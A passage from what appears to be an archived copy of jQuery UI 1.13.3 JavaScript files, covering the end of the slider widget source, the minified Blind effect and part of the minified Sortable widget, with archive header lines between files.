=== true ) { if ( !options.values ) { options.values = [ this._valueMin(), this._valueMin() ]; } else if ( options.values.length && options.values.length !== 2 ) { options.values = [ options.values[ 0 ], options.values[ 0 ] ]; } else if ( Array.isArray( options.values ) ) { options.values = options.values.slice( 0 ); } } if ( !this.range || !this.range.length ) { this.range = $( "<div>" ) .appendTo( this.element ); this._addClass( this.range, "ui-slider-range" ); } else { this._removeClass( this.range, "ui-slider-range-min ui-slider-range-max" ); // Handle range switching from true to min/max this.range.css( { "left": "", "bottom": "" } ); } if ( options.range === "min" || options.range === "max" ) { this._addClass( this.range, "ui-slider-range-" + options.range ); } } else { if ( this.range ) { this.range.remove(); } this.range = null; } }, _setupEvents: function() { this._off( this.handles ); this._on( this.handles, this._handleEvents ); this._hoverable( this.handles ); this._focusable( this.handles ); }, _destroy: function() { this.handles.remove(); if ( this.range ) { this.range.remove(); } this._mouseDestroy(); }, _mouseCapture: function( event ) { var position, normValue, distance, closestHandle, index, allowed, offset, mouseOverHandle, that = this, o = this.options; if ( o.disabled ) { return false; } this.elementSize = { width: this.element.outerWidth(), height: this.element.outerHeight() }; this.elementOffset = this.element.offset(); position = { x: event.pageX, y: event.pageY }; normValue = this._normValueFromMouse( position ); distance = this._valueMax() - this._valueMin() + 1; this.handles.each( function( i ) { var thisDistance = Math.abs( normValue - that.values( i ) ); if ( ( distance > thisDistance ) || ( distance === thisDistance && ( i === that._lastChangedValue || that.values( i ) === o.min ) ) ) { distance = thisDistance; closestHandle = $( this ); index = i; } } ); allowed = this._start( event, index ); if ( allowed === false ) { return false; } this._mouseSliding = true; this._handleIndex = index; this._addClass( closestHandle, null, "ui-state-active" ); closestHandle.trigger( "focus" ); offset = closestHandle.offset(); mouseOverHandle = !$( event.target ).parents().addBack().is( ".ui-slider-handle" ); this._clickOffset = mouseOverHandle ? { left: 0, top: 0 } : { left: event.pageX - offset.left - ( closestHandle.width() / 2 ), top: event.pageY - offset.top - ( closestHandle.height() / 2 ) - ( parseInt( closestHandle.css( "borderTopWidth" ), 10 ) || 0 ) - ( parseInt( closestHandle.css( "borderBottomWidth" ), 10 ) || 0 ) + ( parseInt( closestHandle.css( "marginTop" ), 10 ) || 0 ) }; if ( !this.handles.hasClass( "ui-state-hover" ) ) { this._slide( event, index, normValue ); } this._animateOff = true; return true; }, _mouseStart: function() { return true; }, _mouseDrag: function( event ) { var position = { x: event.pageX, y: event.pageY }, normValue = this._normValueFromMouse( position ); this._slide( event, this._handleIndex, normValue ); return false; }, _mouseStop: function( event ) { this._removeClass( this.handles, null, "ui-state-active" ); this._mouseSliding = false; this._stop( event, this._handleIndex ); this._change( event, this._handleIndex ); this._handleIndex = null; this._clickOffset = null; this._animateOff = false; return false; }, _detectOrientation: function() { this.orientation = ( this.options.orientation === "vertical" ) ? "vertical" : "horizontal"; }, _normValueFromMouse: function( position ) { var pixelTotal, pixelMouse, percentMouse, valueTotal, valueMouse; if ( this.orientation === "horizontal" ) { pixelTotal = this.elementSize.width; pixelMouse = position.x - this.elementOffset.left - ( this._clickOffset ? this._clickOffset.left : 0 ); } else { pixelTotal = this.elementSize.height; pixelMouse = position.y - this.elementOffset.top - ( this._clickOffset ? this._clickOffset.top : 0 ); } percentMouse = ( pixelMouse / pixelTotal ); if ( percentMouse > 1 ) { percentMouse = 1; } if ( percentMouse < 0 ) { percentMouse = 0; } if ( this.orientation === "vertical" ) { percentMouse = 1 - percentMouse; } valueTotal = this._valueMax() - this._valueMin(); valueMouse = this._valueMin() + percentMouse * valueTotal; return this._trimAlignValue( valueMouse ); }, _uiHash: function( index, value, values ) { var uiHash = { handle: this.handles[ index ], handleIndex: index, value: value !== undefined ? value : this.value() }; if ( this._hasMultipleValues() ) { uiHash.value = value !== undefined ? value : this.values( index ); uiHash.values = values || this.values(); } return uiHash; }, _hasMultipleValues: function() { return this.options.values && this.options.values.length; }, _start: function( event, index ) { return this._trigger( "start", event, this._uiHash( index ) ); }, _slide: function( event, index, newVal ) { var allowed, otherVal, currentValue = this.value(), newValues = this.values(); if ( this._hasMultipleValues() ) { otherVal = this.values( index ? 0 : 1 ); currentValue = this.values( index ); if ( this.options.values.length === 2 && this.options.range === true ) { newVal = index === 0 ? Math.min( otherVal, newVal ) : Math.max( otherVal, newVal ); } newValues[ index ] = newVal; } if ( newVal === currentValue ) { return; } allowed = this._trigger( "slide", event, this._uiHash( index, newVal, newValues ) ); // A slide can be canceled by returning false from the slide callback if ( allowed === false ) { return; } if ( this._hasMultipleValues() ) { this.values( index, newVal ); } else { this.value( newVal ); } }, _stop: function( event, index ) { this._trigger( "stop", event, this._uiHash( index ) ); }, _change: function( event, index ) { if ( !this._keySliding && !this._mouseSliding ) { //store the last changed value index for reference when handles overlap this._lastChangedValue = index; this._trigger( "change", event, this._uiHash( index ) ); } }, value: function( newValue ) { if ( arguments.length ) { this.options.value = this._trimAlignValue( newValue ); this._refreshValue(); this._change( null, 0 ); return; } return this._value(); }, values: function( index, newValue ) { var vals, newValues, i; if ( arguments.length > 1 ) { this.options.values[ index ] = this._trimAlignValue( newValue ); this._refreshValue(); this._change( null, index ); return; } if ( arguments.length ) { if ( Array.isArray( arguments[ 0 ] ) ) { vals = this.options.values; newValues = arguments[ 0 ]; for ( i = 0; i < vals.length; i += 1 ) { vals[ i ] = this._trimAlignValue( newValues[ i ] ); this._change( null, i ); } this._refreshValue(); } else { if ( this._hasMultipleValues() ) { return this._values( index ); } else { return this.value(); } } } else { return this._values(); } }, _setOption: function( key, value ) { var i, valsLength = 0; if ( key === "range" && this.options.range === true ) { if ( value === "min" ) { this.options.value = this._values( 0 ); this.options.values = null; } else if ( value === "max" ) { this.options.value = this._values( this.options.values.length - 1 ); this.options.values = null; } } if ( Array.isArray( this.options.values ) ) { valsLength = this.options.values.length; } this._super( key, value ); switch ( key ) { case "orientation": this._detectOrientation(); this._removeClass( "ui-slider-horizontal ui-slider-vertical" ) ._addClass( "ui-slider-" + this.orientation ); this._refreshValue(); if ( this.options.range ) { this._refreshRange( value ); } // Reset positioning from previous orientation this.handles.css( value === "horizontal" ? "bottom" : "left", "" ); break; case "value": this._animateOff = true; this._refreshValue(); this._change( null, 0 ); this._animateOff = false; break; case "values": this._animateOff = true; this._refreshValue(); // Start from the last handle to prevent unreachable handles (#9046) for ( i = valsLength - 1; i >= 0; i-- ) { this._change( null, i ); } this._animateOff = false; break; case "step": case "min": case "max": this._animateOff = true; this._calculateNewMax(); this._refreshValue(); this._animateOff = false; break; case "range": this._animateOff = true; this._refresh(); this._animateOff = false; break; } }, _setOptionDisabled: function( value ) { this._super( value ); this._toggleClass( null, "ui-state-disabled", !!value ); }, //internal value getter // _value() returns value trimmed by min and max, aligned by step _value: function() { var val = this.options.value; val = this._trimAlignValue( val ); return val; }, //internal values getter // _values() returns array of values trimmed by min and max, aligned by step // _values( index ) returns single value trimmed by min and max, aligned by step _values: function( index ) { var val, vals, i; if ( arguments.length ) { val = this.options.values[ index ]; val = this._trimAlignValue( val ); return val; } else if ( this._hasMultipleValues() ) { // .slice() creates a copy of the array // this copy gets trimmed by min and max and then returned vals = this.options.values.slice(); for ( i = 0; i < vals.length; i += 1 ) { vals[ i ] = this._trimAlignValue( vals[ i ] ); } return vals; } else { return []; } }, // Returns the step-aligned value that val is closest to, between (inclusive) min and max _trimAlignValue: function( val ) { if ( val <= this._valueMin() ) { return this._valueMin(); } if ( val >= this._valueMax() ) { return this._valueMax(); } var step = ( this.options.step > 0 ) ? this.options.step : 1, valModStep = ( val - this._valueMin() ) % step, alignValue = val - valModStep; if ( Math.abs( valModStep ) * 2 >= step ) { alignValue += ( valModStep > 0 ) ? step : ( -step ); } // Since JavaScript has problems with large floats, round // the final value to 5 digits after the decimal point (see #4124) return parseFloat( alignValue.toFixed( 5 ) ); }, _calculateNewMax: function() { var max = this.options.max, min = this._valueMin(), step = this.options.step, aboveMin = Math.round( ( max - min ) / step ) * step; max = aboveMin + min; if ( max > this.options.max ) { //If max is not divisible by step, rounding off may increase its value max -= step; } this.max = parseFloat( max.toFixed( this._precision() ) ); }, _precision: function() { var precision = this._precisionOf( this.options.step ); if ( this.options.min !== null ) { precision = Math.max( precision, this._precisionOf( this.options.min ) ); } return precision; }, _precisionOf: function( num ) { var str = num.toString(), decimal = str.indexOf( "." ); return decimal === -1 ? 0 : str.length - decimal - 1; }, _valueMin: function() { return this.options.min; }, _valueMax: function() { return this.max; }, _refreshRange: function( orientation ) { if ( orientation === "vertical" ) { this.range.css( { "width": "", "left": "" } ); } if ( orientation === "horizontal" ) { this.range.css( { "height": "", "bottom": "" } ); } }, _refreshValue: function() { var lastValPercent, valPercent, value, valueMin, valueMax, oRange = this.options.range, o = this.options, that = this, animate = ( !this._animateOff ) ? o.animate : false, _set = {}; if ( this._hasMultipleValues() ) { this.handles.each( function( i ) { valPercent = ( that.values( i ) - that._valueMin() ) / ( that._valueMax() - that._valueMin() ) * 100; _set[ that.orientation === "horizontal" ? "left" : "bottom" ] = valPercent + "%"; $( this ).stop( 1, 1 )[ animate ? "animate" : "css" ]( _set, o.animate ); if ( that.options.range === true ) { if ( that.orientation === "horizontal" ) { if ( i === 0 ) { that.range.stop( 1, 1 )[ animate ? "animate" : "css" ]( { left: valPercent + "%" }, o.animate ); } if ( i === 1 ) { that.range[ animate ? "animate" : "css" ]( { width: ( valPercent - lastValPercent ) + "%" }, { queue: false, duration: o.animate } ); } } else { if ( i === 0 ) { that.range.stop( 1, 1 )[ animate ? "animate" : "css" ]( { bottom: ( valPercent ) + "%" }, o.animate ); } if ( i === 1 ) { that.range[ animate ? "animate" : "css" ]( { height: ( valPercent - lastValPercent ) + "%" }, { queue: false, duration: o.animate } ); } } } lastValPercent = valPercent; } ); } else { value = this.value(); valueMin = this._valueMin(); valueMax = this._valueMax(); valPercent = ( valueMax !== valueMin ) ? ( value - valueMin ) / ( valueMax - valueMin ) * 100 : 0; _set[ this.orientation === "horizontal" ? "left" : "bottom" ] = valPercent + "%"; this.handle.stop( 1, 1 )[ animate ? "animate" : "css" ]( _set, o.animate ); if ( oRange === "min" && this.orientation === "horizontal" ) { this.range.stop( 1, 1 )[ animate ? "animate" : "css" ]( { width: valPercent + "%" }, o.animate ); } if ( oRange === "max" && this.orientation === "horizontal" ) { this.range.stop( 1, 1 )[ animate ? "animate" : "css" ]( { width: ( 100 - valPercent ) + "%" }, o.animate ); } if ( oRange === "min" && this.orientation === "vertical" ) { this.range.stop( 1, 1 )[ animate ? "animate" : "css" ]( { height: valPercent + "%" }, o.animate ); } if ( oRange === "max" && this.orientation === "vertical" ) { this.range.stop( 1, 1 )[ animate ? "animate" : "css" ]( { height: ( 100 - valPercent ) + "%" }, o.animate ); } } }, _handleEvents: { keydown: function( event ) { var allowed, curVal, newVal, step, index = $( event.target ).data( "ui-slider-handle-index" ); switch ( event.keyCode ) { case $.ui.keyCode.HOME: case $.ui.keyCode.END: case $.ui.keyCode.PAGE_UP: case $.ui.keyCode.PAGE_DOWN: case $.ui.keyCode.UP: case $.ui.keyCode.RIGHT: case $.ui.keyCode.DOWN: case $.ui.keyCode.LEFT: event.preventDefault(); if ( !this._keySliding ) { this._keySliding = true; this._addClass( $( event.target ), null, "ui-state-active" ); allowed = this._start( event, index ); if ( allowed === false ) { return; } } break; } step = this.options.step; if ( this._hasMultipleValues() ) { curVal = newVal = this.values( index ); } else { curVal = newVal = this.value(); } switch ( event.keyCode ) { case $.ui.keyCode.HOME: newVal = this._valueMin(); break; case $.ui.keyCode.END: newVal = this._valueMax(); break; case $.ui.keyCode.PAGE_UP: newVal = this._trimAlignValue( curVal + ( ( this._valueMax() - this._valueMin() ) / this.numPages ) ); break; case $.ui.keyCode.PAGE_DOWN: newVal = this._trimAlignValue( curVal - ( ( this._valueMax() - this._valueMin() ) / this.numPages ) ); break; case $.ui.keyCode.UP: case $.ui.keyCode.RIGHT: if ( curVal === this._valueMax() ) { return; } newVal = this._trimAlignValue( curVal + step ); break; case $.ui.keyCode.DOWN: case $.ui.keyCode.LEFT: if ( curVal === this._valueMin() ) { return; } newVal = this._trimAlignValue( curVal - step ); break; } this._slide( event, index, newVal ); }, keyup: function( event ) { var index = $( event.target ).data( "ui-slider-handle-index" ); if ( this._keySliding ) { this._keySliding = false; this._stop( event, index ); this._change( event, index ); this._removeClass( $( event.target ), null, "ui-state-active" ); } } } } ); } ); jquery/ui/effect-blind.min.js 0000644 00000001560 15111757754 0012161 0 ustar 00 /*! * jQuery UI Effects Blind 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ !function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","../version","../effect"],e):e(jQuery)}(function(s){"use strict";return s.effects.define("blind","hide",function(e,t){var i={up:["bottom","top"],vertical:["bottom","top"],down:["top","bottom"],left:["right","left"],horizontal:["right","left"],right:["left","right"]},o=s(this),n=e.direction||"up",c=o.cssClip(),f={clip:s.extend({},c)},r=s.effects.createPlaceholder(o);f.clip[i[n][0]]=f.clip[i[n][1]],"show"===e.mode&&(o.cssClip(f.clip),r&&r.css(s.effects.clipToBox(f)),f.clip=c),r&&r.animate(s.effects.clipToBox(f),e.duration,e.easing),o.animate(f,{queue:!1,duration:e.duration,easing:e.easing,complete:t})})}); jquery/ui/sortable.min.js 0000644 00000061640 15111757754 0011457 0 ustar 00 /*! * jQuery UI Sortable 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ !function(t){"use strict";"function"==typeof define&&define.amd?define(["jquery","./mouse","../data","../ie","../scroll-parent","../version","../widget"],t):t(jQuery)}(function(u){"use strict";return u.widget("ui.sortable",u.ui.mouse,{version:"1.13.3",widgetEventPrefix:"sort",ready:!1,options:{appendTo:"parent",axis:!1,connectWith:!1,containment:!1,cursor:"auto",cursorAt:!1,dropOnEmpty:!0,forcePlaceholderSize:!1,forceHelperSize:!1,grid:!1,handle:!1,helper:"original",items:"> *",opacity:!1,placeholder:!1,revert:!1,scroll:!0,scrollSensitivity:20,scrollSpeed:20,scope:"default",tolerance:"intersect",zIndex:1e3,activate:null,beforeStop:null,change:null,deactivate:null,out:null,over:null,receive:null,remove:null,sort:null,start:null,stop:null,update:null},_isOverAxis:function(t,e,i){return e<=t&&t<e+i},_isFloating:function(t){return/left|right/.test(t.css("float"))||/inline|table-cell/.test(t.css("display"))},_create:function(){this.containerCache={},this._addClass("ui-sortable"),this.refresh(),this.offset=this.element.offset(),this._mouseInit(),this._setHandleClassName(),this.ready=!0},_setOption:function(t,e){this._super(t,e),"handle"===t&&this._setHandleClassName()},_setHandleClassName:function(){var t=this;this._removeClass(this.element.find(".ui-sortable-handle"),"ui-sortable-handle"),u.each(this.items,function(){t._addClass(this.instance.options.handle?this.item.find(this.instance.options.handle):this.item,"ui-sortable-handle")})},_destroy:function(){this._mouseDestroy();for(var t=this.items.length-1;0<=t;t--)this.items[t].item.removeData(this.widgetName+"-item");return this},_mouseCapture:function(t,e){var i=null,s=!1,o=this;return!(this.reverting||this.options.disabled||"static"===this.options.type||(this._refreshItems(t),u(t.target).parents().each(function(){if(u.data(this,o.widgetName+"-item")===o)return i=u(this),!1}),!(i=u.data(t.target,o.widgetName+"-item")===o?u(t.target):i))||(this.options.handle&&!e&&(u(this.options.handle,i).find("*").addBack().each(function(){this===t.target&&(s=!0)}),!s)||(this.currentItem=i,this._removeCurrentsFromItems(),0)))},_mouseStart:function(t,e,i){var s,o,r=this.options;if((this.currentContainer=this).refreshPositions(),this.appendTo=u("parent"!==r.appendTo?r.appendTo:this.currentItem.parent()),this.helper=this._createHelper(t),this._cacheHelperProportions(),this._cacheMargins(),this.offset=this.currentItem.offset(),this.offset={top:this.offset.top-this.margins.top,left:this.offset.left-this.margins.left},u.extend(this.offset,{click:{left:t.pageX-this.offset.left,top:t.pageY-this.offset.top},relative:this._getRelativeOffset()}),this.helper.css("position","absolute"),this.cssPosition=this.helper.css("position"),r.cursorAt&&this._adjustOffsetFromHelper(r.cursorAt),this.domPosition={prev:this.currentItem.prev()[0],parent:this.currentItem.parent()[0]},this.helper[0]!==this.currentItem[0]&&this.currentItem.hide(),this._createPlaceholder(),this.scrollParent=this.placeholder.scrollParent(),u.extend(this.offset,{parent:this._getParentOffset()}),r.containment&&this._setContainment(),r.cursor&&"auto"!==r.cursor&&(o=this.document.find("body"),this.storedCursor=o.css("cursor"),o.css("cursor",r.cursor),this.storedStylesheet=u("<style>*{ cursor: "+r.cursor+" !important; }</style>").appendTo(o)),r.zIndex&&(this.helper.css("zIndex")&&(this._storedZIndex=this.helper.css("zIndex")),this.helper.css("zIndex",r.zIndex)),r.opacity&&(this.helper.css("opacity")&&(this._storedOpacity=this.helper.css("opacity")),this.helper.css("opacity",r.opacity)),this.scrollParent[0]!==this.document[0]&&"HTML"!==this.scrollParent[0].tagName&&(this.overflowOffset=this.scrollParent.offset()),this._trigger("start",t,this._uiHash()),this._preserveHelperProportions||this._cacheHelperProportions(),!i)for(s=this.containers.length-1;0<=s;s--)this.containers[s]._trigger("activate",t,this._uiHash(this));return u.ui.ddmanager&&(u.ui.ddmanager.current=this),u.ui.ddmanager&&!r.dropBehaviour&&u.ui.ddmanager.prepareOffsets(this,t),this.dragging=!0,this._addClass(this.helper,"ui-sortable-helper"),this.helper.parent().is(this.appendTo)||(this.helper.detach().appendTo(this.appendTo),this.offset.parent=this._getParentOffset()),this.position=this.originalPosition=this._generatePosition(t),this.originalPageX=t.pageX,this.originalPageY=t.pageY,this.lastPositionAbs=this.positionAbs=this._convertPositionTo("absolute"),this._mouseDrag(t),!0},_scroll:function(t){var e=this.options,i=!1;return this.scrollParent[0]!==this.document[0]&&"HTML"!==this.scrollParent[0].tagName?(this.overflowOffset.top+this.scrollParent[0].offsetHeight-t.pageY<e.scrollSensitivity?this.scrollParent[0].scrollTop=i=this.scrollParent[0].scrollTop+e.scrollSpeed:t.pageY-this.overflowOffset.top<e.scrollSensitivity&&(this.scrollParent[0].scrollTop=i=this.scrollParent[0].scrollTop-e.scrollSpeed),this.overflowOffset.left+this.scrollParent[0].offsetWidth-t.pageX<e.scrollSensitivity?this.scrollParent[0].scrollLeft=i=this.scrollParent[0].scrollLeft+e.scrollSpeed:t.pageX-this.overflowOffset.left<e.scrollSensitivity&&(this.scrollParent[0].scrollLeft=i=this.scrollParent[0].scrollLeft-e.scrollSpeed)):(t.pageY-this.document.scrollTop()<e.scrollSensitivity?i=this.document.scrollTop(this.document.scrollTop()-e.scrollSpeed):this.window.height()-(t.pageY-this.document.scrollTop())<e.scrollSensitivity&&(i=this.document.scrollTop(this.document.scrollTop()+e.scrollSpeed)),t.pageX-this.document.scrollLeft()<e.scrollSensitivity?i=this.document.scrollLeft(this.document.scrollLeft()-e.scrollSpeed):this.window.width()-(t.pageX-this.document.scrollLeft())<e.scrollSensitivity&&(i=this.document.scrollLeft(this.document.scrollLeft()+e.scrollSpeed))),i},_mouseDrag:function(t){var e,i,s,o,r=this.options;for(this.position=this._generatePosition(t),this.positionAbs=this._convertPositionTo("absolute"),this.options.axis&&"y"===this.options.axis||(this.helper[0].style.left=this.position.left+"px"),this.options.axis&&"x"===this.options.axis||(this.helper[0].style.top=this.position.top+"px"),r.scroll&&!1!==this._scroll(t)&&(this._refreshItemPositions(!0),u.ui.ddmanager)&&!r.dropBehaviour&&u.ui.ddmanager.prepareOffsets(this,t),this.dragDirection={vertical:this._getDragVerticalDirection(),horizontal:this._getDragHorizontalDirection()},e=this.items.length-1;0<=e;e--)if(s=(i=this.items[e]).item[0],(o=this._intersectsWithPointer(i))&&i.instance===this.currentContainer&&!(s===this.currentItem[0]||this.placeholder[1===o?"next":"prev"]()[0]===s||u.contains(this.placeholder[0],s)||"semi-dynamic"===this.options.type&&u.contains(this.element[0],s))){if(this.direction=1===o?"down":"up","pointer"!==this.options.tolerance&&!this._intersectsWithSides(i))break;this._rearrange(t,i),this._trigger("change",t,this._uiHash());break}return this._contactContainers(t),u.ui.ddmanager&&u.ui.ddmanager.drag(this,t),this._trigger("sort",t,this._uiHash()),this.lastPositionAbs=this.positionAbs,!1},_mouseStop:function(t,e){var i,s,o,r;if(t)return u.ui.ddmanager&&!this.options.dropBehaviour&&u.ui.ddmanager.drop(this,t),this.options.revert?(s=(i=this).placeholder.offset(),r={},(o=this.options.axis)&&"x"!==o||(r.left=s.left-this.offset.parent.left-this.margins.left+(this.offsetParent[0]===this.document[0].body?0:this.offsetParent[0].scrollLeft)),o&&"y"!==o||(r.top=s.top-this.offset.parent.top-this.margins.top+(this.offsetParent[0]===this.document[0].body?0:this.offsetParent[0].scrollTop)),this.reverting=!0,u(this.helper).animate(r,parseInt(this.options.revert,10)||500,function(){i._clear(t)})):this._clear(t,e),!1},cancel:function(){if(this.dragging){this._mouseUp(new u.Event("mouseup",{target:null})),"original"===this.options.helper?(this.currentItem.css(this._storedCSS),this._removeClass(this.currentItem,"ui-sortable-helper")):this.currentItem.show();for(var t=this.containers.length-1;0<=t;t--)this.containers[t]._trigger("deactivate",null,this._uiHash(this)),this.containers[t].containerCache.over&&(this.containers[t]._trigger("out",null,this._uiHash(this)),this.containers[t].containerCache.over=0)}return this.placeholder&&(this.placeholder[0].parentNode&&this.placeholder[0].parentNode.removeChild(this.placeholder[0]),"original"!==this.options.helper&&this.helper&&this.helper[0].parentNode&&this.helper.remove(),u.extend(this,{helper:null,dragging:!1,reverting:!1,_noFinalSort:null}),this.domPosition.prev?u(this.domPosition.prev).after(this.currentItem):u(this.domPosition.parent).prepend(this.currentItem)),this},serialize:function(e){var t=this._getItemsAsjQuery(e&&e.connected),i=[];return e=e||{},u(t).each(function(){var t=(u(e.item||this).attr(e.attribute||"id")||"").match(e.expression||/(.+)[\-=_](.+)/);t&&i.push((e.key||t[1]+"[]")+"="+(e.key&&e.expression?t[1]:t[2]))}),!i.length&&e.key&&i.push(e.key+"="),i.join("&")},toArray:function(t){var e=this._getItemsAsjQuery(t&&t.connected),i=[];return t=t||{},e.each(function(){i.push(u(t.item||this).attr(t.attribute||"id")||"")}),i},_intersectsWith:function(t){var e=this.positionAbs.left,i=e+this.helperProportions.width,s=this.positionAbs.top,o=s+this.helperProportions.height,r=t.left,n=r+t.width,h=t.top,a=h+t.height,l=this.offset.click.top,c=this.offset.click.left,l="x"===this.options.axis||h<s+l&&s+l<a,c="y"===this.options.axis||r<e+c&&e+c<n;return"pointer"===this.options.tolerance||this.options.forcePointerForContainers||"pointer"!==this.options.tolerance&&this.helperProportions[this.floating?"width":"height"]>t[this.floating?"width":"height"]?l&&c:r<e+this.helperProportions.width/2&&i-this.helperProportions.width/2<n&&h<s+this.helperProportions.height/2&&o-this.helperProportions.height/2<a},_intersectsWithPointer:function(t){var e="x"===this.options.axis||this._isOverAxis(this.positionAbs.top+this.offset.click.top,t.top,t.height),t="y"===this.options.axis||this._isOverAxis(this.positionAbs.left+this.offset.click.left,t.left,t.width);return!(!e||!t)&&(e=this.dragDirection.vertical,t=this.dragDirection.horizontal,this.floating?"right"===t||"down"===e?2:1:e&&("down"===e?2:1))},_intersectsWithSides:function(t){var e=this._isOverAxis(this.positionAbs.top+this.offset.click.top,t.top+t.height/2,t.height),t=this._isOverAxis(this.positionAbs.left+this.offset.click.left,t.left+t.width/2,t.width),i=this.dragDirection.vertical,s=this.dragDirection.horizontal;return this.floating&&s?"right"===s&&t||"left"===s&&!t:i&&("down"===i&&e||"up"===i&&!e)},_getDragVerticalDirection:function(){var t=this.positionAbs.top-this.lastPositionAbs.top;return 0!=t&&(0<t?"down":"up")},_getDragHorizontalDirection:function(){var t=this.positionAbs.left-this.lastPositionAbs.left;return 0!=t&&(0<t?"right":"left")},refresh:function(t){return this._refreshItems(t),this._setHandleClassName(),this.refreshPositions(),this},_connectWith:function(){var t=this.options;return t.connectWith.constructor===String?[t.connectWith]:t.connectWith},_getItemsAsjQuery:function(t){var e,i,s,o,r=[],n=[],h=this._connectWith();if(h&&t)for(e=h.length-1;0<=e;e--)for(i=(s=u(h[e],this.document[0])).length-1;0<=i;i--)(o=u.data(s[i],this.widgetFullName))&&o!==this&&!o.options.disabled&&n.push(["function"==typeof o.options.items?o.options.items.call(o.element):u(o.options.items,o.element).not(".ui-sortable-helper").not(".ui-sortable-placeholder"),o]);function a(){r.push(this)}for(n.push(["function"==typeof this.options.items?this.options.items.call(this.element,null,{options:this.options,item:this.currentItem}):u(this.options.items,this.element).not(".ui-sortable-helper").not(".ui-sortable-placeholder"),this]),e=n.length-1;0<=e;e--)n[e][0].each(a);return u(r)},_removeCurrentsFromItems:function(){var i=this.currentItem.find(":data("+this.widgetName+"-item)");this.items=u.grep(this.items,function(t){for(var e=0;e<i.length;e++)if(i[e]===t.item[0])return!1;return!0})},_refreshItems:function(t){this.items=[],this.containers=[this];var e,i,s,o,r,n,h,a,l=this.items,c=[["function"==typeof this.options.items?this.options.items.call(this.element[0],t,{item:this.currentItem}):u(this.options.items,this.element),this]],p=this._connectWith();if(p&&this.ready)for(e=p.length-1;0<=e;e--)for(i=(s=u(p[e],this.document[0])).length-1;0<=i;i--)(o=u.data(s[i],this.widgetFullName))&&o!==this&&!o.options.disabled&&(c.push(["function"==typeof o.options.items?o.options.items.call(o.element[0],t,{item:this.currentItem}):u(o.options.items,o.element),o]),this.containers.push(o));for(e=c.length-1;0<=e;e--)for(r=c[e][1],a=(n=c[e][i=0]).length;i<a;i++)(h=u(n[i])).data(this.widgetName+"-item",r),l.push({item:h,instance:r,width:0,height:0,left:0,top:0})},_refreshItemPositions:function(t){for(var e,i,s=this.items.length-1;0<=s;s--)e=this.items[s],this.currentContainer&&e.instance!==this.currentContainer&&e.item[0]!==this.currentItem[0]||(i=this.options.toleranceElement?u(this.options.toleranceElement,e.item):e.item,t||(e.width=i.outerWidth(),e.height=i.outerHeight()),i=i.offset(),e.left=i.left,e.top=i.top)},refreshPositions:function(t){var e,i;if(this.floating=!!this.items.length&&("x"===this.options.axis||this._isFloating(this.items[0].item)),this.offsetParent&&this.helper&&(this.offset.parent=this._getParentOffset()),this._refreshItemPositions(t),this.options.custom&&this.options.custom.refreshContainers)this.options.custom.refreshContainers.call(this);else for(e=this.containers.length-1;0<=e;e--)i=this.containers[e].element.offset(),this.containers[e].containerCache.left=i.left,this.containers[e].containerCache.top=i.top,this.containers[e].containerCache.width=this.containers[e].element.outerWidth(),this.containers[e].containerCache.height=this.containers[e].element.outerHeight();return this},_createPlaceholder:function(i){var s,o,r=(i=i||this).options;r.placeholder&&r.placeholder.constructor!==String||(s=r.placeholder,o=i.currentItem[0].nodeName.toLowerCase(),r.placeholder={element:function(){var t=u("<"+o+">",i.document[0]);return i._addClass(t,"ui-sortable-placeholder",s||i.currentItem[0].className)._removeClass(t,"ui-sortable-helper"),"tbody"===o?i._createTrPlaceholder(i.currentItem.find("tr").eq(0),u("<tr>",i.document[0]).appendTo(t)):"tr"===o?i._createTrPlaceholder(i.currentItem,t):"img"===o&&t.attr("src",i.currentItem.attr("src")),s||t.css("visibility","hidden"),t},update:function(t,e){s&&!r.forcePlaceholderSize||(e.height()&&(!r.forcePlaceholderSize||"tbody"!==o&&"tr"!==o)||e.height(i.currentItem.innerHeight()-parseInt(i.currentItem.css("paddingTop")||0,10)-parseInt(i.currentItem.css("paddingBottom")||0,10)),e.width())||e.width(i.currentItem.innerWidth()-parseInt(i.currentItem.css("paddingLeft")||0,10)-parseInt(i.currentItem.css("paddingRight")||0,10))}}),i.placeholder=u(r.placeholder.element.call(i.element,i.currentItem)),i.currentItem.after(i.placeholder),r.placeholder.update(i,i.placeholder)},_createTrPlaceholder:function(t,e){var i=this;t.children().each(function(){u("<td> </td>",i.document[0]).attr("colspan",u(this).attr("colspan")||1).appendTo(e)})},_contactContainers:function(t){for(var e,i,s,o,r,n,h,a,l,c=null,p=null,f=this.containers.length-1;0<=f;f--)u.contains(this.currentItem[0],this.containers[f].element[0])||(this._intersectsWith(this.containers[f].containerCache)?c&&u.contains(this.containers[f].element[0],c.element[0])||(c=this.containers[f],p=f):this.containers[f].containerCache.over&&(this.containers[f]._trigger("out",t,this._uiHash(this)),this.containers[f].containerCache.over=0));if(c)if(1===this.containers.length)this.containers[p].containerCache.over||(this.containers[p]._trigger("over",t,this._uiHash(this)),this.containers[p].containerCache.over=1);else{for(i=1e4,s=null,o=(a=c.floating||this._isFloating(this.currentItem))?"left":"top",r=a?"width":"height",l=a?"pageX":"pageY",e=this.items.length-1;0<=e;e--)u.contains(this.containers[p].element[0],this.items[e].item[0])&&this.items[e].item[0]!==this.currentItem[0]&&(n=this.items[e].item.offset()[o],h=!1,t[l]-n>this.items[e][r]/2&&(h=!0),Math.abs(t[l]-n)<i)&&(i=Math.abs(t[l]-n),s=this.items[e],this.direction=h?"up":"down");(s||this.options.dropOnEmpty)&&(this.currentContainer===this.containers[p]?this.currentContainer.containerCache.over||(this.containers[p]._trigger("over",t,this._uiHash()),this.currentContainer.containerCache.over=1):(s?this._rearrange(t,s,null,!0):this._rearrange(t,null,this.containers[p].element,!0),this._trigger("change",t,this._uiHash()),this.containers[p]._trigger("change",t,this._uiHash(this)),this.currentContainer=this.containers[p],this.options.placeholder.update(this.currentContainer,this.placeholder),this.scrollParent=this.placeholder.scrollParent(),this.scrollParent[0]!==this.document[0]&&"HTML"!==this.scrollParent[0].tagName&&(this.overflowOffset=this.scrollParent.offset()),this.containers[p]._trigger("over",t,this._uiHash(this)),this.containers[p].containerCache.over=1))}},_createHelper:function(t){var e=this.options,t="function"==typeof e.helper?u(e.helper.apply(this.element[0],[t,this.currentItem])):"clone"===e.helper?this.currentItem.clone():this.currentItem;return 